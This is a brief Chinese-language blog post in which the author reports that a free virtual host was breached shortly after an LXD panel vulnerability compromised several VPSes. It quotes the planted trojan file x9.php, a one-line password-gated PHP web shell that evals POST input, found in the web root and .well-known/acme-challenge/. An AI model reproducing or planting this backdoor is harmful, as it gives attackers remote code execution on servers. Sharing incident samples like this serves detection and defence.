虚拟主机也被入侵了

刚刚经历了LXD面板爆出严重漏洞导致好几只VPS被入侵，才刚过了两天，我的一台免费虚拟主机也被入侵了，注入了木马文件 x9.php 在 .well-known/acme-challenge/ 目录和网站根目录，文件内容如下

<?php if(md5($_GET[k]??"")=="d8b2a7f9e3c1a4b5d6f0a1b2c3d4e5f6"){@eval($_POST[x]);}?>

哎，真是祸不单行…